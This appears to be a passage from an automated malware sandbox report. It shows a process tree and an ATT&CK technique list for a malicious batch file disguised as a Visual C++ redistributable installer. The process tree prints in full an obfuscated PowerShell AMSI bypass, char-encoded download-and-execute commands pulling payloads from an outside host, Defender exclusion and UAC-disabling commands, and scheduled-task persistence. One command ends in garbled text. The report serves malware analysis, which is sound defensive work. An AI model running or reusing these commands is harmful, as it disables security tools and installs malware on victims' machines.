  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FnMaesvTQxBC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$aMxYenfxdQimUI,[Parameter(Position=1)][Type]$fVAPLWHCmW)$DOFxUUHMVHq=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+'ecte'+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+'e'+[Char](109)+'o'+[Char](114)+''+[Char](121)+'M'+'o'+''+[Char](100)+''+[Char](117)+'le',$False).DefineType('My'+'D'+'e'+'l'+'eg'+'a'+'t'+[Char](101)+'T'+[Char](121)+''+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+'s'+','+'A'+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$DOFxUUHMVHq.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+'ec'+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$aMxYenfxdQimUI).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+'e'+''+'d'+'');$DOFxUUHMVHq.DefineMethod('I'+[Char](110)+'v'+[Char](111)+''+[Char](107)+'e',''+'P'+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+'H'+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'N'+''+[Char](101)+''+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$fVAPLWHCmW,$aMxYenfxdQimUI).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $DOFxUUHMVHq.CreateType();}$BPosSaSOICDUk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+'m'+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType('M'+'i'+'c'+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+'i'+'n'+''+[Char](51)+''+[Char](50)+'.'+'U'+'n'+'s'+'af'+'e'+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+'t'+[Char](104)+'o'+'d'+''+[Char](115)+'');$letRKyvtZQSJfO=$BPosSaSOICDUk.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Pr'+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+[Char](100)+''+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jRmhQtjSKFwITpjKwea=FnMaesvTQxBC @([String])([IntPtr]);$APqDQFfxoTbtWRXPxuKhwk=FnMaesvTQxBC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$eIukbgqnnjV=$BPosSaSOICDUk.GetMethod('Ge'+[Char](116)+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+''+'H'+''+[Char](97)+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'ne'+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+'l'+'')));$PkvxWVDrhnldWe=$letRKyvtZQSJfO.Invoke($Null,@([Object]$eIukbgqnnjV,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+'i'+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$myPfjFkbxGsKfoygC=$letRKyvtZQSJfO.Invoke($Null,@([Object]$eIukbgqnnjV,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+'u'+''+'a'+'l'+'P'+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+'c'+[Char](116)+'')));$fVuwPYm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PkvxWVDrhnldWe,$jRmhQtjSKFwITpjKwea).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$YdMyHyCCSfCFeJhNI=$letRKyvtZQSJfO.Invoke($Null,@([Object]$fVuwPYm,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+'Sc'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$GHoCLeEfMQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($myPfjFkbxGsKfoygC,$APqDQFfxoTbtWRXPxuKhwk).Invoke($YdMyHyCCSfCFeJhNI,[uint32]8,4,[ref]$GHoCLeEfMQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YdMyHyCCSfCFeJhNI,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($myPfjFkbxGsKfoygC,$APqDQFfxoTbtWRXPxuKhwk).Invoke($YdMyHyCCSfCFeJhNI,[uint32]8,0x20,[ref]$GHoCLeEfMQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'s'+''+[Char](118)+''+[Char](115)+''+'t'+'ag'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428
- C:\Users\Admin\AppData\Roaming\svOrbEl0.exe
  C:\Users\Admin\AppData\Roaming\svOrbEl0.exe
  2⤵
  - Executes dropped EXE
  PID:5072
- C:\Users\Admin\AppData\Roaming\svOrbEl0.exe
  C:\Users\Admin\AppData\Roaming\svOrbEl0.exe
  2⤵
  - Executes dropped EXE
  PID:3456

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1560
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1984

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2744

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3056

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3340

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2668
- - C:\Windows\system32\chcp.com
    chcp.com 437
    3⤵
    PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:4020
- - C:\Windows\system32\find.exe
    fInd
    3⤵
    PID:1504
- - C:\Windows\system32\find.exe
    find
    3⤵
    PID:4464
- - C:\Windows\system32\findstr.exe
    fiNdstr /L /I set C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.bat
    3⤵
    PID:4620
- - C:\Windows\system32\findstr.exe
    fiNdstr /L /I goto C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.bat
    3⤵
    PID:3964
- - C:\Windows\system32\findstr.exe
    fiNdstr /L /I echo C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.bat
    3⤵
    PID:1148
- - C:\Windows\system32\findstr.exe
    fiNdstr /L /I pause C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.bat
    3⤵
    PID:4860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:3132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -WindowStyle Hidden -Command "$codes = 104,116,116,112,115,58,47,47,102,105,108,101,115,46,99,97,116,98,111,120,46,109,111,101,47,99,122,49,50,57,114,46,48,48,69,113,113;irm $([Text.Encoding]::ASCII.GetString(@($codes))) | iex"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EXEcUTIONPoLICY ByPASS AdD-mPPrefEReNce -exCLUSioNPatH $eNv:PROGraMdatA, $enV:TeMp, $ENV:hoMeDRIvE; SEt-iTEmPRopErTy -PaTh "HKLM:\SOFTwArE\MicroSoFt\wINDOWs\curRenTVERsiON\PoLiCieS\sySTEm" -nAME "ConSENtprOmPTbEHAViorAdMIN" -VAluE 0 -tYPe DwoRD
      4⤵
      UAC bypass
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:408
  - - C:\ProgramData\FMyUS.eXe
      "C:\ProgramData\FMyUS.eXe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:784
    - - C:\Users\Admin\AppData\Local\Temp\PdHGtqQL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PdHGtqQL.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4328
  - - C:\ProgramData\svOrbEl0.exe
      "C:\ProgramData\svOrbEl0.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of AdjustPrivilegeToken
      PID:1236
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svOrbEl0.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3252
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4472
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svOrbEl0.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4540
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:740
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svOrbEl0.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4652
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1696
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svOrbEl0" /tr "C:\Users\Admin\AppData\Roaming\svOrbEl0.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1748
  - - C:\ProgramData\1ZRs6.EXe
      "C:\ProgramData\1ZRs6.EXe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mountvol | find ":\"
    3⤵
    PID:232
  - - C:\Windows\system32\mountvol.exe
      mountvol
      4⤵
      PID:4020
  - - C:\Windows\system32\find.exe
      find ":\"
      4⤵
      PID:1736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c add-mppreference -exclusionpath C:\
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c add-mppreference -exclusionpath F:\
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1348
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1348 -s 368
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:3404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c add-mppreference -exclusionpath D:\
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$url = @();$url += 'h';$url += 't';$url += 't';$url += 'p';$url += 's';$url += ':';$url += '/';$url += '/';$url += 'f';$url += 'i';$url += 'l';$url += 'e';$url += 's';$url += '.';$url += 'c';$url += 'a';$url += 't';$url += 'b';$url += 'o';$url += 'x';$url += '.';$url += 'm';$url += 'o';$url += 'e';$url += '/';$url += 'l';$url += 'l';$url += 'l';$url += 'l';$url += 't';$url += 'm';$url += '.';$url += 'f';$url += 'M';$url += '2';$url += 'G';$url += 'z';$url = $url -join '';$output = \"$env:PUBLIC\winglog32.exe\";$output2 = \"$env:PUBLIC\winglog64.exe\"; InvokΦÇ╗ΦÇ╗Φ▒åσ╛╖:~13,1Φë▓ΘÑ┐σàïΘÑ┐:~26,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~54,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~49,1%Θÿ┐τ╗┤Φë▓σ░ö:~10,1%Θÿ┐τ╗┤Φë▓σ░ö:~22,1%Θÿ┐τ╗┤Φë▓σ░ö:~14,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~51,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~8,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~39,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~60,1%Φë▓ΘÑ┐σàïΘÑ┐:~57,1Φ▒åσ╛╖Θÿ┐τ╗┤:~58,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~32,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~51,1%Φë▓ΘÑ┐σàïΘÑ┐:~57,1ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~4,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~19,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~31,1%Φë▓ΘÑ┐σàïΘÑ┐:~57,1Φë▓ΘÑ┐σàïΘÑ┐:~48,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~4,1%Θÿ┐τ╗┤Φë▓σ░ö:~54,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~22,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~54,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~18,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~54,1%Φë▓ΘÑ┐σàïΘÑ┐:~57,1Φ▒åσ╛╖Θÿ┐τ╗┤:~57,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~51,1%Θÿ┐τ╗┤Φë▓σ░ö:~54,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~43,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~12,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~18,1ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~30,1%Θÿ┐τ╗┤Φë▓σ░ö:~52,1%Θÿ┐τ╗┤Φë▓σ░ö:~54,1%Θÿ┐τ╗┤Φë▓σ░ö:~39,1%Θÿ┐τ╗┤Φë▓σ░ö:~42,1%Θÿ┐τ╗┤Φë▓σ░ö:~54,1ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~9,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~19,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~23,1%Φë▓ΘÑ┐σàïΘÑ┐:~0,1%Φë▓ΘÑ┐σàïΘÑ┐:~30,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~39,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~48,1%Φë▓ΘÑ┐σàïΘÑ┐:~57,1ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~33,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~51,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~18,1%Φë▓ΘÑ┐σàïΘÑ┐:~30,1%Θÿ┐τ╗┤Φë▓σ░ö:~37,1%Φë▓ΘÑ┐σàïΘÑ┐:~45,1%Φë▓ΘÑ┐σàïΘÑ┐:~10,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~7,1%Θÿ┐τ╗┤Φë▓σ░ö:~56,1Φë▓ΘÑ┐σàïΘÑ┐:~52,1%ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~12,1%Φë▓ΘÑ┐σàïΘÑ┐:~10,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~28,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~51,1%Θÿ┐τ╗┤Φë▓σ░ö:~54,1%ΦÇ╗ΘÑ┐τ╗┤ΘÑ┐:~30,1ΦÇ╗ΦÇ╗Φ▒åσ╛╖:~21,1%Φë▓ΘÑ┐σàïΘÑ┐:~45,1%Φ▒åσ╛╖Θÿ┐τ╗┤:~38,1%Φë▓ΘÑ┐σàïΘÑ┐:~10,1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3568

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3904

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4100

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1512

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4424

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3852

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3168

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3440

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 23c7983edf79c25c3c03babf577467ae dXM5lcI3yUCOMIqpwRThXA.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:2728
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4116

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:868

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:3424

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3024

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4024

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:2028

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:2312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery